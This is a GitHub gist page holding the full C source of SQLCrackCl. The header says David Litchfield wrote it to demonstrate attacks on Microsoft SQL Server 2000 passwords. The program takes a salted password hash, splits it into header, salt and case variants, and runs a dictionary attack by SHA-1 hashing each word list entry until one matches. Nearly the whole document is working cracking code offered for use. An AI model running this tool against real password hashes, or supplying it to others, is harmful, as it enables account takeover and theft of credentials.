Skip to content

Instantly share code, notes, and snippets.

@mikeobrien
Created June 10, 2011 00:38
Show Gist options
  • Save mikeobrien/1018054 to your computer and use it in GitHub Desktop.
Save mikeobrien/1018054 to your computer and use it in GitHub Desktop.
/////////////////////////////////////////////////////////////////////////////////
//
// SQLCrackCl
//
// This will perform a dictionary attack against the
// upper-cased hash for a password. Once this
// has been discovered try all case variant to work
// out the case sensitive password.
//
// This code was written by David Litchfield to
// demonstrate how Microsoft SQL Server 2000
// passwords can be attacked. This can be
// optimized considerably by not using the CryptoAPI.
//
// (Compile with VC++ and link with advapi32.lib
// Ensure the Platform SDK has been installed, too!)
//
//////////////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>
FILE *fd=NULL;
char *lerr = "\nLength Error!\n";
int wd = 0;
int OpenPasswordFile(char *pwdfile);
int CrackPassword(char *hash);
int main(int argc, char *argv[])
{
int err = 0;
if (argc !=3)
{
printf("\n\n*** SQLCrack *** \n\n");
printf("C:\\>%s hash passwd-file\n\n", argv[0]);
printf("David Litchfield ([email protected])\n");
printf("24th June 2002\n");
return 0;
}
err = OpenPasswordFile(argv[2]);
if (err != 0)
{
return printf("\nThere was an error opening the password file %s\n", argv[2]);
}
err = CrackPassword(argv[1]);
fclose(fd);
printf("\n\n%d", wd);
return 0;
}
int OpenPasswordFile(char *pwdfile)
{
fd = fopen(pwdfile,"r");
if (fd)
return 0;
else
return 1;
}
int CrackPassword(char *hash)
{
char phash[100] = "";
char pheader[8] = "";
char pkey[12] = "";
char pnorm[44] = "";
char pucase[44] = "";
char pucfirst[8] = "";
char password[44] = "";
char unicodePassword[100] = "";
char *wp = NULL;
char *ptr = NULL;
int cnt = 0;
int count = 0;
unsigned int key = 0;
unsigned int t = 0;
unsigned int address = 0;
unsigned char cmp = 0;
unsigned char x = 0;
HCRYPTPROV hProv = 0;
HCRYPTHASH hHash;
DWORD hl = 100;
unsigned char szhash[100] = "";
int len = 0;
if (strlen(hash) !=94)
{
return printf("\nThe password hash is too short!\n");
}
if (hash[0] == 0x30 && (hash[1] == 'x' || hash[1] == 'X'))
{
hash = hash + 2;
strncpy(pheader, hash, 4);
printf("\nHeader\t\t: %s", pheader);
if(strlen(pheader) != 4)
return printf("%s", lerr);
hash = hash + 4;
strncpy(pkey, hash, 8);
printf("\nRand key\t: %s", pkey);
if(strlen(pkey) != 8)
return printf("%s", lerr);
hash = hash + 8;
strncpy(pnorm, hash, 40);
printf("\nNormal\t\t: %s", pnorm);
if(strlen(pnorm) != 40)
return printf("%s", lerr);
hash = hash + 40;
strncpy(pucase, hash, 40);
printf("\nUpper Case\t: %s", pucase);
if(strlen(pucase) != 40)
return printf("%s", lerr);
strncpy(pucfirst, pucase, 2);
sscanf(pucfirst, "%x", &cmp);
}
else
{
return printf("The password hash has an invalid format!\n");
}
printf("\n\n Trying...\n");
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_FULL, 0))
{
if (GetLastError() == NTE_BAD_KEYSET)
{
// KeySet does not exist. So create a new keyset
if (!CryptAcquireContext(&hProv,
NULL,
NULL,
PROV_RSA_FULL,
CRYPT_NEWKEYSET))
{
printf("FAILLLLLLL!!!");
return FALSE;
}
}
}
while (1)
{
// get a word to try from the file
ZeroMemory(password, 44);
if (!fgets(password, 40, fd))
return printf("\nEnd of password file. Didn't find the password.\n");
wd++;
len = strlen(password);
password[len-1] = 0x00;
ZeroMemory(unicodePassword, 84);
// Convert the word to UNICODE
while(count < len)
{
unicodePassword[cnt] = password[count];
cnt++;
unicodePassword[cnt] = 0x00;
count++;
cnt++;
}
len --;
wp = &unicodePassword;
sscanf(pkey, "%x", &key);
cnt = cnt - 2;
// Append the random stuff to the end of
// the uppercase unicode password
t = key >> 24;
x = (unsigned char) t;
unicodePassword[cnt] = x;
cnt++;
t = key << 8;
t = t >> 24;
x = (unsigned char) t;
unicodePassword[cnt] = x;
cnt++;
t = key << 16;
t = t >> 24;
x = (unsigned char) t;
unicodePassword[cnt] = x;
cnt++;
t = key << 24;
t = t >> 24;
x = (unsigned char) t;
unicodePassword[cnt] = x;
cnt++;
// Create the hash
if (!CryptCreateHash(hProv, CALG_SHA, 0, 0, &hHash))
{
printf("Error %x during CryptCreatHash!\n", GetLastError());
return 0;
}
if (!CryptHashData(hHash, (BYTE *)unicodePassword, len*2+4, 0))
{
printf("Error %x during CryptHashData!\n", GetLastError());
return FALSE;
}
CryptGetHashParam(hHash, HP_HASHVAL, (byte*)szhash, &hl, 0);
// Test the first byte only. Much quicker.
if (szhash[0] == cmp)
{
// If first byte matches try the rest
ptr = pucase;
cnt = 1;
while (cnt < 20)
{
ptr = ptr + 2;
strncpy(pucfirst, ptr, 2);
sscanf(pucfirst, "%x", &cmp);
if (szhash[cnt] == cmp)
cnt ++;
else
{
break;
}
}
if (cnt == 20)
{
// We've found the password
printf("\nA MATCH!!! Password is %s\n", password);
return 0;
}
}
count = 0;
cnt = 0;
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment